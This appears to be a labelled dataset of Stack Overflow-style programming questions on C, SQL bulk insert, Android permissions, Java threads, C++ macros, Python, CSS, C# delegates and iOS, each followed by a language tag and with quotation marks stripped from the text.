c program that finds out 2 most common letters in a string  and reverses them in the same string  this is what i have at the moment:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #define eng_letters 26 #define str_len 100  int main() {     int countarray[eng_letters] = {0};     char str[str_len] = { 0 };     char engchar =  a  - 1;     int length = 0;     int i   j = 0;     int max = 0;     int index = 0;     printf( please enter a string:\n );     fgets(str   str_len   stdin);     length = strlen(str);     for(i = 0 ; i &lt;= length;i++)     {         if(str[i] ==  \n )         {             str[i] =  \0 ;         }     }     for(i = 0;i &lt; eng_letters;i++)     {         engchar++;         for(j = 0;j &lt;= length - 1;j++)         {             if(str[j] == engchar)             {                 countarray[i]++;             }         }     }     engchar =  a - 1;     for(i = 0; i &lt;= eng_letters - 1;i++)     {         engchar++;         printf( there are %d %c letters\n   countarray[i] engchar);      }      system( pause );     return 0; } </code></pre>   this basically lets me check how many letters are in the whole. i tried searching the whole internet to check how can i find the 2 most frequent  and reverse them in the string*. am i doing something wrong  how can i improve     (when i say reverse them in a string  i mean that instead of   i love this game i do i do   there will be   o live thos game o di o di  since  i  is the most frequent and  o  is the second most.),c
why does my bulk insert code skip (ignore) the 1st row  <pre><code>bulk insert cdr from  c:\sqldata\mydatafile.txt   with (formatfile= c:\sqldata\cdrimport.fmt   firstrow=3) </code></pre>   i have a problem which cause a headache for me and appreciate your help. my problem is that i m pulling data from flat files to sql server 2008 using <code>bulk insert</code> with <code>formatfile</code>.     everything is working fine and the data is being loaded successfully. however i noticed that the 1st row is always been skipped (ignored). i m setting <code>firstrow=3</code> to start from the 3rd row because the 1st contains headers and the 2nd contains datatype and i don t want them to be imported.     to test my case you need the following:    first: create this table:   <pre><code>create table [dbo].[cdr]( [cdrrecordtype] [varchar](50) null  [globalcallid_callmanagerid] [varchar](50) null  [globalcallid_callid] [varchar](50) null  [origlegcallidentifier] [varchar](50) null  [datetimeorigination] [varchar](50) null  [orignodeid] [varchar](50) null  [origspan] [varchar](50) null  [origipaddr] [varchar](50) null  [callingpartynumber] [varchar](50) null  [callingpartyunicodeloginuserid] [varchar](50) null  [origcause_location] [varchar](50) null  [origcause_value] [varchar](50) null  [origprecedencelevel] [varchar](50) null  [origmediatransportaddress_ip] [varchar](50) null  [origmediatransportaddress_port] [varchar](50) null  [origmediacap_payloadcapability] [varchar](50) null  [origmediacap_maxframesperpacket] [varchar](50) null  [origmediacap_g723bitrate] [varchar](50) null  [origvideocap_codec] [varchar](50) null  [origvideocap_bandwidth] [varchar](50) null  [origvideocap_resolution] [varchar](50) null  [origvideotransportaddress_ip] [varchar](50) null  [origvideotransportaddress_port] [varchar](50) null  [origrsvpaudiostat] [varchar](50) null  [origrsvpvideostat] [varchar](50) null  [destlegidentifier] [varchar](50) null  [destnodeid] [varchar](50) null  [destspan] [varchar](50) null  [destipaddr] [varchar](50) null  [originalcalledpartynumber] [varchar](50) null  [finalcalledpartynumber] [varchar](50) null  [finalcalledpartyunicodeloginuserid] [varchar](50) null  [destcause_location] [varchar](50) null  [destcause_value] [varchar](50) null  [destprecedencelevel] [varchar](50) null  [destmediatransportaddress_ip] [varchar](50) null  [destmediatransportaddress_port] [varchar](50) null  [destmediacap_payloadcapability] [varchar](50) null  [destmediacap_maxframesperpacket] [varchar](50) null  [destmediacap_g723bitrate] [varchar](50) null  [destvideocap_codec] [varchar](50) null  [destvideocap_bandwidth] [varchar](50) null  [destvideocap_resolution] [varchar](50) null  [destvideotransportaddress_ip] [varchar](50) null  [destvideotransportaddress_port] [varchar](50) null  [destrsvpaudiostat] [varchar](50) null  [destrsvpvideostat] [varchar](50) null  [datetimeconnect] [varchar](50) null  [datetimedisconnect] [varchar](50) null  [lastredirectdn] [varchar](50) null  [pkid] [varchar](50) null  [originalcalledpartynumberpartition] [varchar](50) null  [callingpartynumberpartition] [varchar](50) null  [finalcalledpartynumberpartition] [varchar](50) null  [lastredirectdnpartition] [varchar](50) null  [duration] [varchar](50) null  [origdevicename] [varchar](50) null  [destdevicename] [varchar](50) null  [origcallterminationonbehalfof] [varchar](50) null  [destcallterminationonbehalfof] [varchar](50) null  [origcalledpartyredirectonbehalfof] [varchar](50) null  [lastredirectredirectonbehalfof] [varchar](50) null  [origcalledpartyredirectreason] [varchar](50) null  [lastredirectredirectreason] [varchar](50) null  [destconversationid] [varchar](50) null  [globalcallid_clusterid] [varchar](50) null  [joinonbehalfof] [varchar](50) null  [comment] [varchar](50) null  [authcodedescription] [varchar](50) null  [authorizationlevel] [varchar](50) null  [clientmattercode] [varchar](50) null  [origdtmfmethod] [varchar](50) null  [destdtmfmethod] [varchar](50) null  [callsecuredstatus] [varchar](50) null  [origconversationid] [varchar](50) null  [origmediacap_bandwidth] [varchar](50) null  [destmediacap_bandwidth] [varchar](50) null  [authorizationcodevalue] [varchar](50) null  [outpulsedcallingpartynumber] [varchar](50) null  [outpulsedcalledpartynumber] [varchar](50) null  [origipv4v6addr] [varchar](50) null  [destipv4v6addr] [varchar](50) null  [origvideocap_codec_channel2] [varchar](50) null  [origvideocap_bandwidth_channel2] [varchar](50) null  [origvideocap_resolution_channel2] [varchar](50) null  [origvideotransportaddress_ip_channel2] [varchar](50) null  [origvideotransportaddress_port_channel2] [varchar](50) null  [origvideochannel_role_channel2] [varchar](50) null  [destvideocap_codec_channel2] [varchar](50) null  [destvideocap_bandwidth_channel2] [varchar](50) null  [destvideocap_resolution_channel2] [varchar](50) null  [destvideotransportaddress_ip_channel2] [varchar](50) null  [destvideotransportaddress_port_channel2] [varchar](50) null  [destvideochannel_role_channel2] [varchar](50) null ) on [primary] go </code></pre>   second:    create new text file <code>c:\sqldata\mydatafile.txt</code> then copy the below data and paste it in that file:   <pre><code> cdrrecordtype   globalcallid_callmanagerid   globalcallid_callid   origlegcallidentifier   datetimeorigination   orignodeid   origspan   origipaddr   callingpartynumber   callingpartyunicodeloginuserid   origcause_location   origcause_value   origprecedencelevel   origmediatransportaddress_ip   origmediatransportaddress_port   origmediacap_payloadcapability   origmediacap_maxframesperpacket   origmediacap_g723bitrate   origvideocap_codec   origvideocap_bandwidth   origvideocap_resolution   origvideotransportaddress_ip   origvideotransportaddress_port   origrsvpaudiostat   origrsvpvideostat   destlegidentifier   destnodeid   destspan   destipaddr   originalcalledpartynumber   finalcalledpartynumber   finalcalledpartyunicodeloginuserid   destcause_location   destcause_value   destprecedencelevel   destmediatransportaddress_ip   destmediatransportaddress_port   destmediacap_payloadcapability   destmediacap_maxframesperpacket   destmediacap_g723bitrate   destvideocap_codec   destvideocap_bandwidth   destvideocap_resolution   destvideotransportaddress_ip   destvideotransportaddress_port   destrsvpaudiostat   destrsvpvideostat   datetimeconnect   datetimedisconnect   lastredirectdn   pkid   originalcalledpartynumberpartition   callingpartynumberpartition   finalcalledpartynumberpartition   lastredirectdnpartition   duration   origdevicename   destdevicename   origcallterminationonbehalfof   destcallterminationonbehalfof   origcalledpartyredirectonbehalfof   lastredirectredirectonbehalfof   origcalledpartyredirectreason   lastredirectredirectreason   destconversationid   globalcallid_clusterid   joinonbehalfof   comment   authcodedescription   authorizationlevel   clientmattercode   origdtmfmethod   destdtmfmethod   callsecuredstatus   origconversationid   origmediacap_bandwidth   destmediacap_bandwidth   authorizationcodevalue   outpulsedcallingpartynumber   outpulsedcalledpartynumber   origipv4v6addr   destipv4v6addr   origvideocap_codec_channel2   origvideocap_bandwidth_channel2   origvideocap_resolution_channel2   origvideotransportaddress_ip_channel2   origvideotransportaddress_port_channel2   origvideochannel_role_channel2   destvideocap_codec_channel2   destvideocap_bandwidth_channel2   destvideocap_resolution_channel2   destvideotransportaddress_ip_channel2   destvideotransportaddress_port_channel2   destvideochannel_role_channel2      integer integer integer integer integer integer integer integer varchar(50) varchar(128) integer integer integer integer integer integer integer integer integer integer integer integer integer varchar(64) varchar(64) integer integer integer integer varchar(50) varchar(50) varchar(128) integer integer integer integer integer integer integer integer integer integer integer integer integer varchar(64) varchar(64) integer integer varchar(50) uniqueidentifier varchar(50) varchar(50) varchar(50) varchar(50) integer varchar(129) varchar(129) integer integer integer integer integer integer integer varchar(50) integer varchar(2048) varchar(50) integer varchar(32) integer integer integer integer integer integer varchar(32) varchar(50) varchar(50) varchar(64) varchar(64) integer integer integer integer integer integer integer integer integer integer integer integer     1 2 2759873 35208306 1330847184 2 0 -637263956  5838     0 0 4 -637263956 24692 4 20 0 0 0 0 0 0  0   0  35208307 6 35208307 -2096103670  90556138315   90556138315     0 16 4 -2096103670 23090 4 20 0 0 0 0 0 0  0   0  1330847195 1330847219  90556138315   37d523ab-680b-41a9-ab6b-d9867974f044   part_national   part_du_ccs_nat   part_national   part_national  24  sep180373c4463e   10.255.15.131  0 12 0 0 0 0 0  standalonecluster  0       0    3 1 0 0 64 64     043699155   90556138315   172.31.4.218   10.255.15.131  0 0 0 0 0 0 0 0 0 0 0 0     1 2 2759107 35206523 1330846644 2 35206523 -737214710  042861396     0 0 4 -2129658102 19000 4 20 0 0 0 0 0 0  0   0  35206524 7 0 1562582956  6894   6894     0 16 4 1562582956 18658 4 20 0 0 0 0 0 0  0   0  1330846645 1330847219  6894   a1df3ed4-0b42-4974-8c60-50cb9d696d5c   part_india      part_india   part_india  574  10.255.14.212   sep00269944a143  0 12 0 0 0 0 0  standalonecluster  0       0    1 3 0 0 64 64           10.255.15.129   172.31.35.93  0 0 0 0 0 0 0 0 0 0 0 0 </code></pre>   third:    this is the file format: <code>c:\sqldata\cdrimport.fmt</code>   <pre><code>    10.0     94     1       sqlchar             0       50               1     cdrrecordtype                                                                      arabic_ci_as     2       sqlchar             0       50               2     globalcallid_callmanagerid                                                         arabic_ci_as     3       sqlchar             0       50               3     globalcallid_callid                                                                arabic_ci_as     4       sqlchar             0       50               4     origlegcallidentifier                                                              arabic_ci_as     5       sqlchar             0       50               5     datetimeorigination                                                                arabic_ci_as     6       sqlchar             0       50               6     orignodeid                                                                         arabic_ci_as     7       sqlchar             0       50               7     origspan                                                                           arabic_ci_as     8       sqlchar             0       50        \        8     origipaddr                                                                         arabic_ci_as     9       sqlchar             0       50       \  \             9     callingpartynumber                                                                 arabic_ci_as     10      sqlchar             0       50       \         10    callingpartyunicodeloginuserid                                                     arabic_ci_as     11      sqlchar             0       50               11    origcause_location                                                                 arabic_ci_as     12      sqlchar             0       50               12    origcause_value                                                                    arabic_ci_as     13      sqlchar             0       50               13    origprecedencelevel                                                                arabic_ci_as     14      sqlchar             0       50               14    origmediatransportaddress_ip                                                       arabic_ci_as     15      sqlchar             0       50               15    origmediatransportaddress_port                                                     arabic_ci_as     16      sqlchar             0       50               16    origmediacap_payloadcapability                                                     arabic_ci_as     17      sqlchar             0       50               17    origmediacap_maxframesperpacket                                                    arabic_ci_as     18      sqlchar             0       50               18    origmediacap_g723bitrate                                                           arabic_ci_as     19      sqlchar             0       50               19    origvideocap_codec                                                                 arabic_ci_as     20      sqlchar             0       50               20    origvideocap_bandwidth                                                             arabic_ci_as     21      sqlchar             0       50               21    origvideocap_resolution                                                            arabic_ci_as     22      sqlchar             0       50               22    origvideotransportaddress_ip                                                       arabic_ci_as     23      sqlchar             0       50        \        23    origvideotransportaddress_port                                                     arabic_ci_as     24      sqlchar             0       50       \  \        24    origrsvpaudiostat                                                                  arabic_ci_as     25      sqlchar             0       50       \         25    origrsvpvideostat                                                                  arabic_ci_as     26      sqlchar             0       50               26    destlegidentifier                                                                  arabic_ci_as     27      sqlchar             0       50               27    destnodeid                                                                         arabic_ci_as     28      sqlchar             0       50               28    destspan                                                                           arabic_ci_as     29      sqlchar             0       50        \        29    destipaddr                                                                         arabic_ci_as     30      sqlchar             0       50       \  \       30    originalcalledpartynumber                                                          arabic_ci_as     31      sqlchar             0       50       \  \       31    finalcalledpartynumber                                                             arabic_ci_as     32      sqlchar             0       50       \        32    finalcalledpartyunicodeloginuserid                                                 arabic_ci_as     33      sqlchar             0       50               33    destcause_location                                                                 arabic_ci_as     34      sqlchar             0       50               34    destcause_value                                                                    arabic_ci_as     35      sqlchar             0       50               35    destprecedencelevel                                                                arabic_ci_as     36      sqlchar             0       50               36    destmediatransportaddress_ip                                                       arabic_ci_as     37      sqlchar             0       50               37    destmediatransportaddress_port                                                     arabic_ci_as     38      sqlchar             0       50               38    destmediacap_payloadcapability                                                     arabic_ci_as     39      sqlchar             0       50               39    destmediacap_maxframesperpacket                                                    arabic_ci_as     40      sqlchar             0       50               40    destmediacap_g723bitrate                                                           arabic_ci_as     41      sqlchar             0       50               41    destvideocap_codec                                                                 arabic_ci_as     42      sqlchar             0       50               42    destvideocap_bandwidth                                                             arabic_ci_as     43      sqlchar             0       50               43    destvideocap_resolution                                                            arabic_ci_as     44      sqlchar             0       50               44    destvideotransportaddress_ip                                                       arabic_ci_as     45      sqlchar             0       50        \        45    destvideotransportaddress_port                                                     arabic_ci_as     46      sqlchar             0       50       \  \        46    destrsvpaudiostat                                                                  arabic_ci_as     47      sqlchar             0       50       \         47    destrsvpvideostat                                                                  arabic_ci_as     48      sqlchar             0       50               48    datetimeconnect                                                                    arabic_ci_as     49      sqlchar             0       50        \        49    datetimedisconnect                                                                 arabic_ci_as     50      sqlchar             0       50       \  \        50    lastredirectdn                                                                     arabic_ci_as     51      sqlchar             0       50       \  \        51    pkid                                                                               arabic_ci_as     52      sqlchar             0       50       \  \        52    originalcalledpartynumberpartition                                                 arabic_ci_as     53      sqlchar             0       50       \  \        53    callingpartynumberpartition                                                        arabic_ci_as     54      sqlchar             0       50       \  \        54    finalcalledpartynumberpartition                                                    arabic_ci_as     55      sqlchar             0       50       \         55    lastredirectdnpartition                                                            arabic_ci_as     56      sqlchar             0       50        \        56    duration                                                                           arabic_ci_as     57      sqlchar             0       50       \  \        57    origdevicename                                                                     arabic_ci_as     58      sqlchar             0       50       \         58    destdevicename                                                                     arabic_ci_as     59      sqlchar             0       50               59    origcallterminationonbehalfof                                                      arabic_ci_as     60      sqlchar             0       50               60    destcallterminationonbehalfof                                                      arabic_ci_as     61      sqlchar             0       50               61    origcalledpartyredirectonbehalfof                                                  arabic_ci_as     62      sqlchar             0       50               62    lastredirectredirectonbehalfof                                                     arabic_ci_as     63      sqlchar             0       50               63    origcalledpartyredirectreason                                                      arabic_ci_as     64      sqlchar             0       50               64    lastredirectredirectreason                                                         arabic_ci_as     65      sqlchar             0       50        \        65    destconversationid                                                                 arabic_ci_as     66      sqlchar             0       50       \         66    globalcallid_clusterid                                                             arabic_ci_as     67      sqlchar             0       50        \        67    joinonbehalfof                                                                     arabic_ci_as     68      sqlchar             0       50       \  \        68    comment                                                                            arabic_ci_as     69      sqlchar             0       50       \         69    authcodedescription                                                                arabic_ci_as     70      sqlchar             0       50        \        70    authorizationlevel                                                                 arabic_ci_as     71      sqlchar             0       50       \         71    clientmattercode                                                                   arabic_ci_as     72      sqlchar             0       50               72    origdtmfmethod                                                                     arabic_ci_as     73      sqlchar             0       50               73    destdtmfmethod                                                                     arabic_ci_as     74      sqlchar             0       50               74    callsecuredstatus                                                                  arabic_ci_as     75      sqlchar             0       50               75    origconversationid                                                                 arabic_ci_as     76      sqlchar             0       50               76    origmediacap_bandwidth                                                             arabic_ci_as     77      sqlchar             0       50        \        77    destmediacap_bandwidth                                                             arabic_ci_as     78      sqlchar             0       50       \  \        78    authorizationcodevalue                                                             arabic_ci_as     79      sqlchar             0       50       \  \        79    outpulsedcallingpartynumber                                                        arabic_ci_as     80      sqlchar             0       50       \  \        80    outpulsedcalledpartynumber                                                         arabic_ci_as     81      sqlchar             0       50       \  \        81    origipv4v6addr                                                                     arabic_ci_as     82      sqlchar             0       50       \         82    destipv4v6addr                                                                     arabic_ci_as     83      sqlchar             0       50               83    origvideocap_codec_channel2                                                        arabic_ci_as     84      sqlchar             0       50               84    origvideocap_bandwidth_channel2                                                    arabic_ci_as     85      sqlchar             0       50               85    origvideocap_resolution_channel2                                                   arabic_ci_as     86      sqlchar             0       50               86    origvideotransportaddress_ip_channel2                                              arabic_ci_as     87      sqlchar             0       50               87    origvideotransportaddress_port_channel2                                            arabic_ci_as     88      sqlchar             0       50               88    origvideochannel_role_channel2                                                     arabic_ci_as     89      sqlchar             0       50               89    destvideocap_codec_channel2                                                        arabic_ci_as     90      sqlchar             0       50               90    destvideocap_bandwidth_channel2                                                    arabic_ci_as     91      sqlchar             0       50               91    destvideocap_resolution_channel2                                                   arabic_ci_as     92      sqlchar             0       50               92    destvideotransportaddress_ip_channel2                                              arabic_ci_as     93      sqlchar             0       50               93    destvideotransportaddress_port_channel2                                            arabic_ci_as     94      sqlchar             0       50       \n    94    destvideochannel_role_channel2                                                     arabic_ci_as </code></pre>   finally  run this sql command:   <pre><code>bulk insert cdr from  c:\sqldata\mydatafile.txt   with (formatfile= c:\sqldata\cdrimport.fmt   firstrow=3) </code></pre>   it should insert 2 rows  however it only inserts 1 row. does anyone have any idea why this is the case,sql
nullpointerexception android getcontext()  i am using android api 23. i m trying to request permissions from the user on runtime as is recommended for the new api. this is my implementation.   <pre><code>private void requestpermission(string type){     string permission =   ;     string requesttext =   ;     if(type.equals( video )){         permission = manifest.permission.camera;         requesttext =  need camera permission ;     }else if(type.equals( picture )){         permission = manifest.permission.camera;         requesttext =  need camera permission ;     }else if(type.equals( audio )){         permission = manifest.permission.record_audio;         requesttext =  need audio permission ;     }      if(activitycompat.shouldshowrequestpermissionrationale(this  permission)){         snackbar.make(view  requesttext  snackbar.length_indefinite).setaction( ok                   new view.onclicklistener() {                     @override                     public void onclick(view v) {                         activitycompat.requestpermissions(activity  new string[]{manifest.permission.camera}  permission_request_code);                     }                 });     }else {         snackbar.make(view   permission is not available. requesting camera permission.   snackbar.length_short).show();         activitycompat.requestpermissions(activity  new string[]{manifest.permission.camera}  permission_request_code);     } } </code></pre>   on running the code on the phone  i get the following error in android studio.    <pre><code>java.lang.nullpointerexception: attempt to invoke virtual method  android.content.context android.view.viewgroup.getcontext()  on a null object reference </code></pre>   the full traceback is here:   <pre><code>fatal exception: main process: com.xxxxx.gcmtest  pid: 4779 java.lang.nullpointerexception: attempt to invoke virtual method  android.content.context android.view.viewgroup.getcontext()  on a null object reference at android.support.design.widget.snackbar.&lt;init&gt;(snackbar.java:183) at android.support.design.widget.snackbar.make(snackbar.java:215) at com.xxxxx.gcmtest.conversationactivity.requestpermission(conversationactivity.java:271) at com.xxxxx.gcmtest.conversationactivity.onclick(conversationactivity.java:185) at android.view.view.performclick(view.java:5201) at android.view.view$performclick.run(view.java:21163) at android.os.handler.handlecallback(handler.java:746) at android.os.handler.dispatchmessage(handler.java:95) at android.os.looper.loop(looper.java:148) at android.app.activitythread.main(activitythread.java:5443) at java.lang.reflect.method.invoke(native method) at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:728) at com.android.internal.os.zygoteinit.main(zygoteinit.java:618) </code></pre>   line 271 of <code>requestpermission</code> is:   <pre><code>snackbar.make(view requesttext snackbar.length_indefinite).setaction( ok  ...); </code></pre>   my <code>oncreate</code> looks like this:   <pre><code>private chatadapter chatadapter; private listview listview; private button buttonsendaudio; private button buttonsendvideo; private button buttonsendpicture; private boolean side = false; private string filetype; private context context; private static final int permission_request_code = 1; private view view; private activity activity; view = findviewbyid(r.id.chat_layout); </code></pre>   my <code>fragment.xml</code>:   <pre><code>    &lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent      android:orientation= vertical      android:id= @+id/chat_layout &gt;      &lt;textview         android:layout_width= wrap_content          android:layout_height= wrap_content          android:textappearance=  android:attr/textappearancesmall          android:id= @+id/textview          android:layout_gravity= center_horizontal  /&gt;     &lt;listview         android:id= @+id/list_conversations          android:layout_width= match_parent          android:layout_height= wrap_content          android:layout_marginbottom= 80dp &gt;     &lt;/listview&gt;      &lt;relativelayout         android:id= @+id/form          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_alignparentbottom= true          android:layout_alignparentleft= true          android:orientation= vertical  &gt;      &lt;/relativelayout&gt; &lt;/relativelayout&gt; </code></pre>   where am i going wrong and how do i fix this,android
java thread order of execution  i have this java main method as    <pre><code>public class threadjoinexample {      /**      * @param args the command line arguments      */     public static void main(string[] args) {         testjoinclass t1 = new testjoinclass( t1 );           testjoinclass t2 = new testjoinclass( t2 );           testjoinclass t3 = new testjoinclass( t3 );           t1.start();           try{               t1.join();           }catch(exception e){system.out.println(e);}           t2.start();          //thread 3 won t start until thread 2 is complete         t3.start();       }  } </code></pre>   my thread class is    <pre><code>public class testjoinclass extends thread{     //constructor to assign a user defined name to the thread     public testjoinclass(string name)     {         super(name);     }     public void run(){           for(int i=1;i&lt;=5;i++){           try{             //stop the thread for 1/2 second             thread.sleep(500);               }         catch(exception e){system.out.println(e);}           system.out.println(thread.currentthread().getname()+                   i =  +i);           }        } } </code></pre>   the output for this program is    <pre><code>t1 i = 1 t1 i = 2 t1 i = 3 t1 i = 4 t1 i = 5 t3 i = 1 t2 i = 1 t3 i = 2 t2 i = 2 t3 i = 3 t2 i = 3 t3 i = 4 t2 i = 4 t3 i = 5 t2 i = 5 </code></pre>   i have just a minor question. i was wondering why does t3 start running first instead of t2  in the code  it shows that t2.start() executes first before t3.start(). shouldn t the output show that t2 executes first before t3 as well  thank you,java
add sum of first query to sum of second query in sql  i have an existing query that sums a column:   <pre><code>select        fcst.eow_date - 21 as eow_date       fcst.item       ril.source_wh       sum (fcst.forecast_sales) as forecast_sales from rms10.item_forecast fcst  rms10.repl_item_loc ril  rms10.wh w where  ril.item = fcst.item      and fcst.loc = ril.location      and ril.source_wh = w.wh      and w.forecast_wh_ind =  y       and ril.loc_type =  s       and fcst.item in (select unique item                          from rms10.repl_item_loc ril  rms10.wh w                         where     ril.location = w.wh                               and w.forecast_wh_ind =  y                                and ril.repl_method in ( ti                                                          m                                                          c                                                          d )) group by fcst.item  eow_date  source_wh order by 3  2  1;      </code></pre>   the example output will be:   <pre><code>4/30/2016   9953639 159384  184.5015 5/7/2016    9953639 159384  188.5844 5/14/2016   9953639 159384  186.102` </code></pre>   and i have another query of which i would like to sum up the forecast total as following:   <pre><code>select fcst.eow_date -21 as eow_data  fcst.item  axrf.source_whse  sum(fcst.forecast_sales) as forecast_sales from item_forecast fcst  aip.aafes_pack_item_xref axrf  repl_item_loc rpl where fcst.item = axrf.item      and fcst.item = rpl.item      and fcst.loc = rpl.location      and rpl.source_wh = axrf.loc      and rpl.loc_type =  s  group by fcst.eow_date  fcst.item  axrf.source_whse order by 3 2 1; </code></pre>   `    the output for the above query would be:   <pre><code>4/30/2016   9953639 159384  58.1433 5/7/2016    9953639 159384  56.5777 5/14/2016   9953639 159384  57.5736 </code></pre>   i would like to add the the two outputs for whenever the first 3 columns match and include a new total of forecast sales like this:   <pre><code>4/30/2016   9953639 159384  242.6448 5/7/2016    9953639 159384  245.1621 5/14/2016   9953639 159384  243.6756 </code></pre>   if the rows do not match in the 2nd/3rd column i would still like to see their sum. any idea how i can possibly do that with sql     thanks!,sql
c++ define expression evaluation  suppose we have this expression:   <pre><code>#define cube(x) x * x * x </code></pre>   and then we call it:   <pre><code>int n = 3  v; v = cube(n + 1);   // v = 10 v = cube((n + 1)); // v = 64 v = cube(n);       // v = 27 </code></pre>   so the question is: why first operation do not make <code>v = 64</code>,c++
traceback = can t convert  type  object to str implicitly  <strong>problem</strong>:    traceback (most recent call last):      <blockquote>    file  c:/python34/my code/types.py   line 2  in      print(   race    is  + type( race )) typeerror: can t convert  type  object to   str implicitly  </blockquote>   open an idle edit window and initialize a variable by assigning it a string  then display its value and data type   <pre><code>race = ‘daytona 500’ print( race   ‘is‘ + type( race ) ) </code></pre>   next  initialize a variable by assigning it a whole number then display its value and data type   <pre><code>kilo = 1000 print( kilo   ‘is‘ + type( kilo ) ) </code></pre>   now  initialize a variable by assigning it a decimal number  then display its value and data type   <pre><code>temp = 98.6 print( temp   ‘is‘ + type( temp ) ) </code></pre>   initialize a variable by assigning it a truth keyword then display its value and data type   <pre><code>flag = true print( flag   ‘is‘ + type( flag ) ) </code></pre>   finally  replace the last variable value with a truth result of a comparison  then again display its value and data type   <pre><code>flag = 4 &gt; 8 print( flag   ‘is‘ + type( flag ) ) </code></pre>   save then run the program to discover the types of data stored within the variables you have created    <strong>ok so this is what i coded what is wrong :</strong>   <pre><code>race =  daytona 500  print( race    is  + type( race ))  kilo = 1000 print( kilo    is  + type( kilo))  temp = 98.6 print( temp    is  + type( temp))  flag = true print( flag    is  + type( flag))  flag = 4&gt;8 print( flag    is  + type( flag)) </code></pre>,python
what should i know about c# before walking into an interview for a .net job   sure  we all have written tons of c# code. so walking into an interview for a .net job should be a no-brainer  right  and then you read some stackoverflow posts and it hits you: you don t know squat!    remember that site with the cram sessions to go through  before taking an exam  i think stackoverflow could be used to make a sorted (voting) list of topics to know about.    please only put <strong>one topic per post</strong>. please also add some information about the topic. links  reference material etc.    <strong>edit</strong>: i guess some of you misunderstood the reason for the post - i m hoping to generate a list of stuff to know about .net  a sort of cram session that can be reviewed by everyone on the planet to regularly review. this should help us all remember arcane stuff we never really use.,c#
why 100% width crosses the parrent div   update: <a href= https://stackoverflow.com/questions/18031354/100-width-is-bigger-than-parents-div >this answer</a> is not working. have a look at <a href= http://codepen.io/anon/pen/lexvep  rel= nofollow noreferrer >this pen</a>    i set width of the div 700px but if i add a child div 100% width then the child div cross parent div s boundary and the actual size of child div is 730px . why <a href= http://codepen.io/anon/pen/myrjzw  rel= nofollow noreferrer >codepen</a>    <pre><code>&lt;div class= container &gt;   &lt;h1&gt;drive nuts&lt;/h1&gt;  &lt;div class= info &gt;   &lt;div class= left &gt;call no.&lt;/div&gt;   &lt;div class= right &gt;datas&lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>    body {        background: #34495e;         padding: 50px 0px;     }     .container {        background: #ecf0f1;         min-height:480px;         width:700px; margin: 0px auto;     }     .container h1 {        text-align: center;        background: #27ae60;         color: #ecf0f1;         line-height: 90px; margin: 0px;      }       .left  {        background: #16a085;        padding:15px;         font-weight: bold;         font-size: 20px;         color: #fff;         width:150px; float:left;      }       .right  {         padding:15px;        font-weight: bold;         font-size: 20px;         color: #fff;         width:;         float:left;         background: #2c3e50;        width:100%;     } </code></pre>,css
confusion in anonymous method  i have a class called employee. in which there are three auto implemented properties and a function which is returning the employees names who git bonus salary  i am using delegates so there is no logic in this function and that is the reason this class and method is reusable.   <pre><code>class employee     {         public int id { get; set; }         public string name { get; set; }         public int salary { get; set; }         public static void bonusforemp(list&lt;employee&gt; emp  bonus isavailable)         {             foreach (employee e in emp)             {                 if (isavailable(e))                 {                     console.writeline(e.name +   got bonus );                 }             }         }      }       delegate bool bonus(employee employes); // delegate </code></pre>   here it is my main method in which i create a list of employees and doing all the steps like creating a instance and passing the method as an argument.   <pre><code>list&lt;employee&gt; emplist = new list&lt;employee&gt;();             emplist.add(new employee() { id = 1  name =  a   salary = 12000});             emplist.add(new employee() { id = 2  name =  b   salary = 7999 });             emplist.add(new employee() { id = 3  name =  c   salary = 1999 });             emplist.add(new employee() { id = 4  name =  d  salary = 20000});             bonus b = new bonus(bonusavailabefor); //instance of dlegate and pasing method name as an argument             employee.bonusforemp(emplist  b); //using              console.readline(); </code></pre>   so all of you thinking that where is my method(bonusavailablefor) in which i did all the logical work which matches the signature of delegate  here it is    <pre><code> public static bool bonusavailabefor(employee eml) // the function with same signature of the delegate here we use our logic.         {             if (eml.salary &gt; 8000)             {                 return true;             }             else             {                 return false;             }         } </code></pre>   so this code is working so perfectly nice and returning the names of employee whose salary > 8000. i just read anonymous method somewhere that is inline expression that can be used wherever a delegate type is expected.they provide us a way to create instance of delegate without having to write a separate method .. the definition looks great it will reduce my lines of code if i can implement this in my scenario  so how can i achieved it   &lt;=== (my question)  well i know i can do this with lambda expression or with findall() predefine funtion in list collection class   but i am here to do it with anonymous method ..,c#
ios loading screen - default.png  right now in xcode i have in my resources and image called  default.png  and it is working fine as a loading screen for when the app is first opened (awakefromnib ) anyways  it s a funny loading screen and i want to give the users at least 5 seconds to gaze at it  however the app only takes about 2 seconds to load even on my slowest testing device  how can i code it in to last longer,ios
with so many application variations  how to choose which one to specialise in  i was sat infront of stackoverflow last night and i was dumbfounded with the number of individual tags.  it got me thinking about how many different flavours of applications there are out there.  personally  i m a c# man but even i m finding that with wcf  wpf  asp .net 4  silverlight and mvc  there is getting so much choice and am beginning to get bogged down with which one to learn.  i understand that they each have their own purposes  but i m finding that this decision is harder than when asp .net first came out and it was the ideal tool to use over plain html.    i d be interested in hearing others views  whether i m the only one out there who finds that the microsoft suite is increasing quicker than i can keep up with  or just your general views/opinions.,.net
alert(parseint( 09 )); shows me  0  why  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/850341/workarounds-for-javascript-parseint-octal-bug >workarounds for javascript parseint octal bug</a>    </blockquote>     extremely confused here.    parseint( 09 ) = 0    but    parseint( 9 ) = 9    why is the prefixed zero not just stripped out     alert(parseint( 01 )); = 1    .. rage quit,javascript
how to zoom within distance by giving location   i am trying zoom mkmapview by giving location. also it would be looking around x meters from the location.     how to make it      i tried following code :    <pre><code>mkcoordinateregion region; region.center.latitude     = longitude; region.center.longitude    = latitude; region.span.latitudedelta  = 0.1; region.span.longitudedelta = 0.1; [mapview setregion:region]; </code></pre>   but no luck.     thanks in advance.,iphone
